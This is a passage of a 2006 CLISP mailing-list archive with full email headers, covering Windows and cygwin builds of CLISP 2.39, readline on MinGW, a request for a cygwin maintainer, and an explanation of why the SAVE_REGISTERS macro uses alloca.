kavenchuk@jenty.by Tue Jul 18 23:29:38 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G35Yw-0003GU-EB for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 23:29:38 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G35Yu-0006T1-V5 for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 23:29:38 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id N7P6RSMG; Wed, 19 Jul 2006 09:32:41 +0300 Message-ID: <44BDD1D7.9090605@jenty.by> Date: Wed, 19 Jul 2006 09:31:51 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 06:29:38 -0000 Sam Steingold wrote: > So, where is the package? Excuse me, I too have forgotten about an option "-g". Not earlier, than 2006.07.19 20:00 (GMT+2). (unless anybody earlier will upload it) Thanks! -- WBR, Yaroslav Kavenchuk. From bruno@clisp.org Wed Jul 19 05:37:20 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3BIm-0001LI-L1 for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 05:37:20 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3BIj-0006F5-Pr for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 05:37:20 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id k6JCb2t8020640 for ; Wed, 19 Jul 2006 14:37:03 +0200 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id k6JCauEr031027 for ; Wed, 19 Jul 2006 14:36:57 +0200 Received: from honolulu.ilog.fr ([172.16.15.36]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Wed, 19 Jul 2006 14:37:50 +0200 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id 79C22F142A; Wed, 19 Jul 2006 14:34:30 +0200 (CEST) From: Bruno Haible To: clisp-list@lists.sourceforge.net Date: Wed, 19 Jul 2006 14:34:30 +0200 User-Agent: KMail/1.9.1 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200607191434.30332.bruno@clisp.org> X-OriginalArrivalTime: 19 Jul 2006 12:37:50.0552 (UTC) FILETIME=[25AD1D80:01C6AB30] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Why alloca? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 12:37:20 -0000 Hello Pascal, Sam asked me for comments. > Since the size of struct registers is known at compilation time, > why alloca is used in these macros: > > lispbibl.d:805: > #define SAVE_REGISTERS(inner_statement) \ > do { \ > var struct registers * registers = alloca(sizeof(struct registers)); \ > instead of just: > var struct registers registers; The dynamic extent (time of existence of storage reserved) of a variable ends at the end of the block, whereas for alloca'ed storage it ends at the end of the function. We want the registers to be available until the corresponding RESTORE_REGISTERS invocation, which is outside the SAVE_REGISTERS block. Since gcc version 3.0 or so, gcc actually reuses the stack slots of variables in blocks that are terminated. Some people would write SAVE_REGISTERS as a C macro that has an opening brace and RESTORE_REGISTERS as a macro with the corresponding closing brace. But this is very bad, as it doesn't allow to use RESTORE_REGISTERS in an 'if' branch. Bruno From kavenchuk@jenty.by Mon Jul 17 23:16:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2isN-0003Tv-GM for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 23:16:11 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2isL-000274-TW for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 23:16:11 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id N7P6RPFD; Tue, 18 Jul 2006 09:19:08 +0300 Message-ID: <44BC7D2A.7060505@jenty.by> Date: Tue, 18 Jul 2006 09:18:18 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: Jack Unrue References: In-Reply-To: Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 X-Mailman-Approved-At: Wed, 19 Jul 2006 06:06:13 -0700 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 06:16:11 -0000 Jack Unrue wrote: > Who was the last person to do a build with MingW that included > readline? What version did you use and from where did you get > it? readline 5.1 does not compile with gcc 3.4.5 (MingW candidate). > > Thanks. readline from gnuwin32.sf.net -- WBR, Yaroslav Kavenchuk. From sds@podval.org Wed Jul 19 06:19:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3BxV-00058k-7I for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 06:19:25 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3BxT-0004hW-7v for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 06:19:25 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A154103E00AC; Wed, 19 Jul 2006 09:19:16 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id AE280368098; Wed, 19 Jul 2006 09:19:15 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6JDJFiP005528; Wed, 19 Jul 2006 09:19:15 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6JDJB9Y005526; Wed, 19 Jul 2006 09:19:11 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Jack Unrue" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Jack Unrue's message of "Tue, 18 Jul 2006 17:48:50 -0600") References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jack Unrue" Date: Wed, 19 Jul 2006 09:19:11 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 13:19:25 -0000 > * Jack Unrue [2006-07-18 17:48:50 -0600]: > > clisp-2.39-win32-mingw-no-readline.zip is now uploaded to > SF.net/incoming thanks, it should now be available in the sf clisp files section > --without-i18n there is no such option. > So, I manually removed i18n from BASE_MODULES in src/makemake.in yes, this is the right way to do it. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://truepeace.org http://pmw.org.il http://ffii.org http://iris.org.il http://jihadwatch.org http://mideasttruth.com You think Oedipus had a problem -- Adam was Eve's mother. From werner@suse.de Wed Jul 19 08:56:33 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3EPY-0004F7-Mi for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 08:56:32 -0700 Received: from mail.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1G3EPX-00033U-B0 for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 08:56:32 -0700 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 5171EFA45 for ; Wed, 19 Jul 2006 17:56:27 +0200 (CEST) Date: Wed, 19 Jul 2006 17:56:23 +0200 From: "Dr. Werner Fink" To: Werner Fink Message-ID: <20060719155623.GA23184@boole.suse.de> Mail-Followup-To: Werner Fink , clisp-list@lists.sourceforge.net References: <44B6341F.mailIE6118ABK@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <44B6341F.mailIE6118ABK@boole.suse.de> User-Agent: Mutt/1.5.11 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Any news about bug 1506857 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 15:56:33 -0000 On Thu, Jul 13, 2006 at 01:53:03PM +0200, Dr. Werner Fink wrote: > Hi, > > are there any news about bug 1506857 on sourceforge.net > http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355 clisp 2.39 does _not_ fix that issue. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@podval.org Wed Jul 19 09:33:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3Eyy-00085B-Gy for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 09:33:08 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3Eyv-0001US-U2 for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 09:33:08 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AEB717B60090; Wed, 19 Jul 2006 12:32:55 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id BEE8736826F; Wed, 19 Jul 2006 12:32:54 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6JGWs2p011130; Wed, 19 Jul 2006 12:32:54 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6JGWqfv011129; Wed, 19 Jul 2006 12:32:52 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: Werner Fink , "Dr. Werner Fink" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060719155623.GA23184@boole.suse.de> (Werner Fink's message of "Wed, 19 Jul 2006 17:56:23 +0200") References: <44B6341F.mailIE6118ABK@boole.suse.de> <20060719155623.GA23184@boole.suse.de> Mail-Followup-To: Werner Fink , "Dr. Werner Fink" , clisp-list@lists.sourceforge.net Date: Wed, 19 Jul 2006 12:32:52 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Any news about bug 1506857 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 16:33:08 -0000 > * Dr. Werner Fink [2006-07-19 17:56:23 +0200]: > > On Thu, Jul 13, 2006 at 01:53:03PM +0200, Dr. Werner Fink wrote: >> >> are there any news about bug 1506857 on sourceforge.net >> http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355 > > clisp 2.39 does _not_ fix that issue. Peter Van Eynde said that recompiling with adding -O0 to the CFLAGS and removing the -O option makes the build work. do you concur? -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://camera.org http://iris.org.il http://dhimmi.com http://jihadwatch.org http://thereligionofpeace.com http://mideasttruth.com Save the whales, feed the hungry, free the mallocs. From kavenchuk@gmail.com Wed Jul 19 10:12:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3Fb9-00048E-RI for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 10:12:35 -0700 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3Fb7-0001u3-Be for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 10:12:35 -0700 Received: from [194.158.220.222] (account kavenchuk HELO [194.158.220.222]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 104530391; Wed, 19 Jul 2006 20:04:52 +0300 Message-ID: <44BE6634.1060805@gmail.com> Date: Wed, 19 Jul 2006 20:04:52 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> <44BD58B4.8010005@tut.by> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 17:12:36 -0000 Sam Steingold wrote: > > So, where is the package? > Package is sent. -- WBR, Yaroslav Kavenchuk. From kavenchuk@tut.by Wed Jul 19 10:17:00 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3FfP-0004Xu-WF for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 10:17:00 -0700 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3FfO-0006Yp-Hz for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 10:16:59 -0700 Received: from [194.158.220.222] (account kavenchuk HELO [194.158.220.222]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 104550988; Wed, 19 Jul 2006 20:16:49 +0300 Message-ID: <44BE6901.9050000@tut.by> Date: Wed, 19 Jul 2006 20:16:49 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk References: <44BC7D2A.7060505@jenty.by> <44BD3366.6030603@tut.by> <44BD58B4.8010005@tut.by> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 17:17:00 -0000 Sam Steingold wrote: > > So, where is the package? > Package is sent. -- WBR, Yaroslav Kavenchuk. From pjb@informatimago.com Wed Jul 19 10:22:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3Fky-0005DP-Dd for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 10:22:45 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3Fkw-0007kM-Iu for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 10:22:44 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 1794D585E6; Wed, 19 Jul 2006 19:22:36 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B30A6585D4; Wed, 19 Jul 2006 19:22:33 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 909EA8FBF; Wed, 19 Jul 2006 19:22:33 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17598.27225.512700.388369@thalassa.informatimago.com> Date: Wed, 19 Jul 2006 19:22:33 +0200 To: Bruno Haible In-Reply-To: <200607191434.30332.bruno@clisp.org> References: <200607191434.30332.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Why alloca? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 17:22:45 -0000 Bruno Haible writes: > Hello Pascal, > > Sam asked me for comments. > > > Since the size of struct registers is known at compilation time, > > why alloca is used in these macros: > > > > lispbibl.d:805: > > #define SAVE_REGISTERS(inner_statement) \ > > do { \ > > var struct registers * registers = alloca(sizeof(struct registers)); \ > > > instead of just: > > var struct registers registers; > > The dynamic extent (time of existence of storage reserved) of a variable > ends at the end of the block, whereas for alloca'ed storage it ends at > the end of the function. Ah, indeed. > We want the registers to be available until the corresponding > RESTORE_REGISTERS invocation, which is outside the SAVE_REGISTERS > block. > > Since gcc version 3.0 or so, gcc actually reuses the stack slots of > variables in blocks that are terminated. > > Some people would write SAVE_REGISTERS as a C macro that has an > opening brace and RESTORE_REGISTERS as a macro with the corresponding > closing brace. But this is very bad, as it doesn't allow to use > RESTORE_REGISTERS in an 'if' branch. Thank you. -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot. don't bother saving your artefacts. From sds@podval.org Wed Jul 19 10:38:53 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3G0b-0006hh-BR for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 10:38:53 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3G0Y-00085t-QO for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 10:38:53 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AE2418BE0090; Wed, 19 Jul 2006 13:38:44 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 1858F36826F; Wed, 19 Jul 2006 13:38:43 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6JHcgO7011645; Wed, 19 Jul 2006 13:38:42 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6JHcgA9011644; Wed, 19 Jul 2006 13:38:42 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , "Jack Unrue" Date: Wed, 19 Jul 2006 13:38:42 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , Jack Unrue Subject: [clisp-list] clisp 2.39 win32 packages X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 17:38:53 -0000 Thanks to Jack & Yaroslav, we now have win32 binary packages for clisp 2.39. Jack & Yaroslav, please review the description of your packages in https://sourceforge.net/project/shownotes.php?release_id=432725&group_id=1355 -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://palestinefacts.org http://memri.org http://iris.org.il http://camera.org http://truepeace.org http://pmw.org.il Never let your schooling interfere with your education. From sds@podval.org Wed Jul 19 11:07:00 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3GRo-0000qb-MV for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 11:07:00 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G3GRm-0005f9-0V for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 11:07:00 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A4BC147A001E; Wed, 19 Jul 2006 14:06:52 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 95014368098 for ; Wed, 19 Jul 2006 14:06:51 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6JI6pSd011933 for ; Wed, 19 Jul 2006 14:06:51 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6JI6pVa011932; Wed, 19 Jul 2006 14:06:51 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Date: Wed, 19 Jul 2006 14:06:51 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] any cygwin users here? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 19 Jul 2006 18:07:00 -0000 I cannot send this message to a cygwin list, it is rejected as spam. after 9 attempts, I gave up. ================================================================== CLISP has been distributed with cygwin for over a year. I no longer have access to a Windows box, so I need someone to take over the package and build the recently released CLISP 2.39. All it takes is "make cygwin-src distrib" and setup.hint and both source and binary packages are generated. Thanks. PS. It appears that libsigsegv is not distributed with cygwin - it would be nice if it were, clisp works better with it. PPS. This is my 9th attempt to send this to a cygwin mailing list - the previous ones were rejected as spam. Farewell. ================================================================== it is up to you now to find a new cygwin clisp maintainer. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://mideasttruth.com http://openvotingconsortium.org http://memri.org http://palestinefacts.org http://honestreporting.com http://truepeace.org Old Age Comes at a Bad Time. From steven.harris@gnostech.com Wed Jul 19 12:36:55 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G3Hqp-0000sr-By for clisp-list@lists.sourceforge.net; Wed, 19 Jul 2006 12:36:55 -0700 Received: from adsl-71-154-201-182.dsl.sndg02.sbcglobal.net ([71.154.201.182] helo=chlorine.gnostech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 